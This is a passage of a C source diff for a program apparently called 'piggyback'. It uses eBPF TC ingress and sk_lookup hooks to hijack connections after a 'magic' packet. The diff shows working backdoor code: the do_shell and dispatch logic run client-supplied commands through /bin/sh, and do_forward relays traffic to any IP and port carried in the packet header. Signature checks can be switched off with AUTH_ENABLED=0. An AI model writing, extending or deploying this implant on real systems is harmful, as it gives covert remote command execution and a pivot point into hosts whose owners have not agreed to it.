Interface helpers ───────────────────────────────────────────────────────── static int get_default_iface(char *buf, size_t len) { FILE *f = fopen("/proc/net/route", "r"); @@ -99,8 +103,7 @@ static int get_default_iface(char *buf, size_t len) { char line[256]; fgets(line, sizeof(line), f); // skip header while (fgets(line, sizeof(line), f)) { - char iface[64]; - unsigned int dest; + char iface[64]; unsigned int dest; if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) { strncpy(buf, iface, len-1); fclose(f); @@ -111,20 +114,23 @@ static int get_default_iface(char *buf, size_t len) { return -1; } -// ── Logging ─────────────────────────────────────────────────────────────────── - -#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) -#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) -#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) +static int get_iface_ipv4(const char *iface, uint8_t *ip4) { + struct ifaddrs *ifa_list, *ifa; + if (getifaddrs(&ifa_list) != 0) return -1; + for (ifa = ifa_list; ifa; ifa = ifa->ifa_next) { + if (!ifa->ifa_addr || ifa->ifa_addr->sa_family != AF_INET) continue; + if (strcmp(ifa->ifa_name, iface) != 0) continue; + memcpy(ip4, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, 4); + freeifaddrs(ifa_list); + return 0; + } + freeifaddrs(ifa_list); + return -1; +} // ── Replay ring ─────────────────────────────────────────────────────────────── -struct replay_entry { - uint32_t src_ip; - uint64_t timestamp; - uint8_t sig_prefix[8]; -}; - +struct replay_entry { uint32_t src_ip; uint64_t ts; uint8_t sig_prefix[8]; }; static struct replay_entry replay_ring[REPLAY_RING_SIZE]; static int replay_head = 0; static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER; @@ -133,17 +139,13 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t * pthread_mutex_lock(&replay_lock); for (int i = 0; i < REPLAY_RING_SIZE; i++) { struct replay_entry *e = &replay_ring[i]; - if (e->src_ip == src_ip && e->timestamp == ts && - memcmp(e->sig_prefix, sig, 8) == 0) { + if (e->src_ip == src_ip && e->ts == ts && memcmp(e->sig_prefix, sig, 8) == 0) { pthread_mutex_unlock(&replay_lock); return -1; } } - struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE]; - slot->src_ip = src_ip; - slot->timestamp = ts; - memcpy(slot->sig_prefix, sig, 8); - replay_head++; + struct replay_entry *s = &replay_ring[replay_head++ % REPLAY_RING_SIZE]; + s->src_ip = src_ip; s->ts = ts; memcpy(s->sig_prefix, sig, 8); pthread_mutex_unlock(&replay_lock); return 0; } @@ -153,27 +155,19 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t * static void splice_loop(int a, int b) { int epfd = epoll_create1(0); if (epfd < 0) return; - struct epoll_event ev, evs[2]; ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev); ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev); - char buf[65536]; while (running) { int n = epoll_wait(epfd, evs, 2, 1000); for (int i = 0; i < n; i++) { if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; - int src = evs[i].data.fd; - int dst = (src == a) ? b : a; + int src = evs[i].data.fd, dst = (src == a) ? b : a; ssize_t r = read(src, buf, sizeof(buf)); if (r <= 0) goto done; - ssize_t w = 0; - while (w < r) { - ssize_t s = write(dst, buf + w, r - w); - if (s <= 0) goto done; - w += s; - } + for (ssize_t w = 0; w < r;) { ssize_t s = write(dst, buf+w, r-w); if (s<=0) goto done; w+=s; } } } done: @@ -187,23 +181,16 @@ static void do_forward(int client_fd, const char *host, int port) { struct addrinfo *res; char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port); - if (getaddrinfo(host, port_str, &hints, &res) != 0) { - log_err("getaddrinfo(%s:%d) failed", host, port); - return; + log_err("getaddrinfo(%s:%d) failed", host, port); return; } - int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0); if (fwd_fd < 0) { freeaddrinfo(res); return; } - if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) { - log_err("connect to %s:%d: %s", host, port, strerror(errno)); - close(fwd_fd); - freeaddrinfo(res); - return; + log_err("connect %s:%d: %s", host, port, strerror(errno)); + close(fwd_fd); freeaddrinfo(res); return; } freeaddrinfo(res); - log_dbg("forwarding to %s:%d", host, port); splice_loop(client_fd, fwd_fd); close(fwd_fd); @@ -214,55 +201,38 @@ static void do_forward(int client_fd, const char *host, int port) { static void do_shell(int client_fd, const char *cmd) { int in_pipe[2], out_pipe[2]; if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return; - pid_t pid = fork(); if (pid < 0) return; - if (pid == 0) { - close(in_pipe[1]); - close(out_pipe[0]); - dup2(in_pipe[0], STDIN_FILENO); - dup2(out_pipe[1], STDOUT_FILENO); - dup2(out_pipe[1], STDERR_FILENO); - close(in_pipe[0]); - close(out_pipe[1]); + close(in_pipe[1]); close(out_pipe[0]); + dup2(in_pipe[0], STDIN_FILENO); dup2(out_pipe[1], STDOUT_FILENO); dup2(out_pipe[1], STDERR_FILENO); + close(in_pipe[0]); close(out_pipe[1]); execl("/bin/sh", "/bin/sh", "-c", cmd, NULL); _exit(1); } - - close(in_pipe[0]); - close(out_pipe[1]); - fcntl(in_pipe[1], F_SETFL, O_NONBLOCK); + close(in_pipe[0]); close(out_pipe[1]); + fcntl(in_pipe[1], F_SETFL, O_NONBLOCK); fcntl(out_pipe[0], F_SETFL, O_NONBLOCK); - fcntl(client_fd, F_SETFL, O_NONBLOCK); - + fcntl(client_fd, F_SETFL, O_NONBLOCK); int epfd = epoll_create1(0); struct epoll_event ev, evs[2]; ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev); ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev); - char buf[65536]; while (running) { int n = epoll_wait(epfd, evs, 2, 1000); for (int i = 0; i < n; i++) { - if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done; - int fd = evs[i].data.fd; - if (fd == out_pipe[0]) { - ssize_t r = read(out_pipe[0], buf, sizeof(buf)); - if (r <= 0) goto shell_done; - write(client_fd, buf, r); + if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; + if (evs[i].data.fd == out_pipe[0]) { + ssize_t r = read(out_pipe[0], buf, sizeof(buf)); if (r<=0) goto done; write(client_fd, buf, r); } else { - ssize_t r = read(client_fd, buf, sizeof(buf)); - if (r <= 0) goto shell_done; - write(in_pipe[1], buf, r); + ssize_t r = read(client_fd, buf, sizeof(buf)); if (r<=0) goto done; write(in_pipe[1], buf, r); } } } -shell_done: - close(epfd); - close(in_pipe[1]); - close(out_pipe[0]); +done: + close(epfd); close(in_pipe[1]); close(out_pipe[0]); } // ── Dispatch thread ─────────────────────────────────────────────────────────── @@ -275,100 +245,78 @@ struct dispatch_args { static void *dispatch_thread(void *arg) { struct dispatch_args *a = arg; - int client_fd = a->client_fd; + int client_fd = a->client_fd; + uint8_t *hdr = a->header; - uint8_t action = ACTION_FORWARD; - char fwd_host[64]; - int fwd_port; - strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1); - fwd_port = FWD_PORT; - - if (AUTH_ENABLED && a->header_valid) { - uint8_t *hdr = a->header; + if (!a->header_valid) { + log_err("packet too short for header, rejecting"); + goto reject; + } + // ── Auth (skip when AUTH_ENABLED=0) ─────────────────────────────────────── + if (AUTH_ENABLED) { uint64_t ts = 0; for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i]; uint64_t now = (uint64_t)time(NULL); if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) { - log_err("timestamp out of window, rejecting"); - goto reject; + log_err("timestamp out of window, rejecting"); goto reject; } - uint8_t msg[HDR_MSG_LEN]; - memcpy(msg, hdr, 16); - memcpy(msg + 16, server_ip_bytes, 4); - - if (crypto_sign_ed25519_verify_detached( - hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) { - log_err("Ed25519 signature invalid, rejecting"); - goto reject; + memcpy(msg, hdr, 16); memcpy(msg + 16, server_ip_bytes, 4); + if (crypto_sign_ed25519_verify_detached(hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) { + log_err("invalid signature, rejecting"); goto reject; } - - uint32_t src_ip32; - memcpy(&src_ip32, server_ip_bytes, 4); - if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) { - log_err("replay detected, rejecting"); - goto reject; + uint32_t ip32; memcpy(&ip32, server_ip_bytes, 4); + if (replay_check_and_insert(ip32, ts, hdr + HDR_SIG_OFF) != 0) { + log_err("replay detected, rejecting"); goto reject; } + log_dbg("auth OK"); + } + + // ── Dispatch — action and target always come from the header ────────────── + { + uint8_t action = hdr[HDR_ACTION_OFF]; - action = hdr[HDR_ACTION_OFF]; if (action == ACTION_FORWARD) { + char fwd_host[32] = "127.0.0.1"; + int fwd_port = 22; uint8_t *ip = hdr + HDR_TARGET_IP_OFF; - snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", - ip[0], ip[1], ip[2], ip[3]); - fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1]; + if (ip[0] || ip[1] || ip[2] || ip[3]) + snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]); + int p = ((uint16_t)hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1]; + if (p) fwd_port = p; + log_info("forward → %s:%d", fwd_host, fwd_port); + do_forward(client_fd, fwd_host, fwd_port); + + } else if (action == ACTION_SHELL) { + char cmd[1024] = "bash"; + ssize_t r = read(client_fd, cmd, sizeof(cmd)-1); + if (r > 0) cmd[r] = '\0'; + log_info("shell: %s", cmd); + do_shell(client_fd, cmd); + + } else { + log_err("unknown action 0x%02x, rejecting", action); } - log_dbg("auth OK: action=0x%02x", action); - - } else if (AUTH_ENABLED && !a->header_valid) { - log_err("auth required but no valid header, rejecting"); - goto reject; } - if (action == ACTION_FORWARD) { - log_info("forward → %s:%d", fwd_host, fwd_port); - do_forward(client_fd, fwd_host, fwd_port); - } else if (action == ACTION_SHELL) { - char cmd[1024] = "bash"; - ssize_t r = read(client_fd, cmd, sizeof(cmd)-1); - if (r > 0) cmd[r] = '\0'; - log_info("shell: %s", cmd); - do_shell(client_fd, cmd); - } else { - log_err("unknown action 0x%02x, rejecting", action); - } - - close(client_fd); - free(a); - return NULL; - + close(client_fd); free(a); return NULL; reject: - close(client_fd); - free(a); - return NULL; + close(client_fd); free(a); return NULL; } // ── Ring buffer event handler ───────────────────────────────────────────────── static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) { struct event *e = data; - char src_str[INET6_ADDRSTRLEN]; - if (e->is_ipv6) - inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str)); - else - inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str)); + if (e->is_ipv6) inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str)); + else inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str)); + log_info("magic from %s:%d (header_valid=%d)", src_str, ntohs(e->src_port), e->header_valid); - log_info("magic from %s:%d (flags=0x%02x header_valid=%d)", - src_str, ntohs(e->src_port), e->flags, e->header_valid); - - struct sockaddr_storage peer; - socklen_t plen = sizeof(peer); + struct sockaddr_storage peer; socklen_t plen = sizeof(peer); int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen); - if (client_fd < 0) { - log_err("accept: %s", strerror(errno)); - return 0; - } + if (client_fd < 0) { log_err("accept: %s", strerror(errno)); return 0; } struct dispatch_args *a = malloc(sizeof(*a)); if (!a) { close(client_fd); return 0; } @@ -382,47 +330,29 @@ static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz return 0; } -// ── TC attachment ───────────────────────────────────────────────────────────── +// ── TC / sk_lookup attachment ───────────────────────────────────────────────── static int attach_tc(struct bpf_program *prog) { - DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, - .ifindex = ifindex, - .attach_point = BPF_TC_INGRESS, - ); - DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, - .handle = 1, - .priority = 1, - .prog_fd = bpf_program__fd(prog), - ); + DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS); + DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, .handle = 1, .priority = 1, .prog_fd = bpf_program__fd(prog)); bpf_tc_hook_create(&hook); - if (bpf_tc_attach(&hook, &opts) < 0) { - log_err("bpf_tc_attach: %s", strerror(errno)); - return -1; - } + if (bpf_tc_attach(&hook, &opts) < 0) { log_err("bpf_tc_attach: %s", strerror(errno)); return -1; } log_info("TC attached to %s ingress", iface_name); return 0; } static void detach_tc(void) { - DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, - .ifindex = ifindex, - .attach_point = BPF_TC_INGRESS, - ); + DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS); bpf_tc_hook_destroy(&hook); log_info("TC detached"); } -// ── sk_lookup attachment ────────────────────────────────────────────────────── - -static int sklookup_link_fd = -1; - static int attach_sklookup(struct bpf_program *prog) { int netns_fd = open("/proc/self/ns/net", O_RDONLY); if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; } struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd); close(netns_fd); if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; } - sklookup_link_fd = bpf_link__fd(link); log_info("sk_lookup attached to netns"); return 0; } @@ -430,17 +360,15 @@ static int attach_sklookup(struct bpf_program *prog) { // ── Stats ───────────────────────────────────────────────────────────────────── static void dump_stats(void) { - int map_fd = bpf_object__find_map_fd_by_name(obj, "stats"); - if (map_fd < 0) return; + int fd = bpf_object__find_map_fd_by_name(obj, "stats"); + if (fd < 0) return; uint64_t v; uint32_t k; - k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v); - k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v); - k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v); - k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v); + k=0; bpf_map_lookup_elem(fd,&k,&v); log_info(" total : %" PRIu64, v); + k=1; bpf_map_lookup_elem(fd,&k,&v); log_info(" magic : %" PRIu64, v); + k=2; bpf_map_lookup_elem(fd,&k,&v); log_info(" passed : %" PRIu64, v); + k=3; bpf_map_lookup_elem(fd,&k,&v); log_info(" partial : %" PRIu64, v); } -// ── Signal ──────────────────────────────────────────────────────────────────── - static void on_signal(int sig __attribute__((unused))) { running = 0; } // ── Main ────────────────────────────────────────────────────────────────────── @@ -448,66 +376,56 @@ static void on_signal(int sig __attribute__((unused))) { running = 0; } int main(void) { if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; } - inet_pton(AF_INET, SERVER_IP, server_ip_bytes); - - signal(SIGINT, on_signal); - signal(SIGTERM, on_signal); - signal(SIGPIPE, SIG_IGN); + signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN); + // Resolve interface if (strlen(IFACE) > 0) { strncpy(iface_name, IFACE, sizeof(iface_name)-1); } else { if (get_default_iface(iface_name, sizeof(iface_name)) != 0) { - log_err("could not detect default interface — set IFACE in source"); - return 1; + log_err("cannot detect default interface — set IFACE in source"); return 1; } log_info("auto-detected interface: %s", iface_name); } - ifindex = if_nametoindex(iface_name); if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; } - if (AUTH_ENABLED) - log_info("Ed25519 auth enabled"); - else - log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check"); + // Get own IP for replay-prevention signature coverage + if (get_iface_ipv4(iface_name, server_ip_bytes) != 0) { + log_dbg("could not get interface IP — replay sig will use zeros"); + } else { + char ipstr[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, server_ip_bytes, ipstr, sizeof(ipstr)); + log_dbg("server IP for sig: %s", ipstr); + } - // ── SO_REUSEPORT accept socket ──────────────────────────────────────────── + if (AUTH_ENABLED) log_info("Ed25519 auth enabled"); + else log_info("WARNING: AUTH_ENABLED=0 — no signature verification"); + + // SO_REUSEPORT accept socket accept_fd = socket(AF_INET6, SOCK_STREAM, 0); if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0); if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; } - int yes = 1; setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes)); - - struct sockaddr_in6 laddr = { - .sin6_family = AF_INET6, - .sin6_port = htons(LISTEN_PORT), - .sin6_addr = IN6ADDR_ANY_INIT, - }; + struct sockaddr_in6 laddr = { .sin6_family = AF_INET6, .sin6_port = htons(LISTEN_PORT), .sin6_addr = IN6ADDR_ANY_INIT }; if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { - struct sockaddr_in la4 = { - .sin_family = AF_INET, - .sin_port = htons(LISTEN_PORT), - .sin_addr.s_addr = INADDR_ANY, - }; + struct sockaddr_in la4 = { .sin_family = AF_INET, .sin_port = htons(LISTEN_PORT), .sin_addr.s_addr = INADDR_ANY }; if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) { - log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); - return 1; + log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); return 1; } } if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; } - // ── Load eBPF ───────────────────────────────────────────────────────────── + // Load eBPF obj = bpf_object__open("piggyback.bpf.o"); if (!obj) { log_err("bpf_object__open failed"); return 1; } if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; } int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock"); if (sock_map_fd >= 0) { - uint32_t key = 0; - uint32_t val = (uint32_t)accept_fd; + uint32_t key = 0, val = (uint32_t)accept_fd; bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY); } @@ -517,17 +435,15 @@ int main(void) { struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup"); if (sk_prog && attach_sklookup(sk_prog) < 0) - log_info("sk_lookup attach failed — SYN-level steering disabled"); + log_info("sk_lookup attach failed — SYN steering disabled, falling back"); int rb_fd = bpf_object__find_map_fd_by_name(obj, "events"); struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL); if (!rb) { log_err("ring_buffer__new failed"); return 1; } - log_info("piggyback running on %s port %d → %s:%d", - iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT); + log_info("running on %s port %d", iface_name, LISTEN_PORT); - while (running) - ring_buffer__poll(rb, 100); + while (running) ring_buffer__poll(rb, 100); log_info("shutting down..."); dump_stats();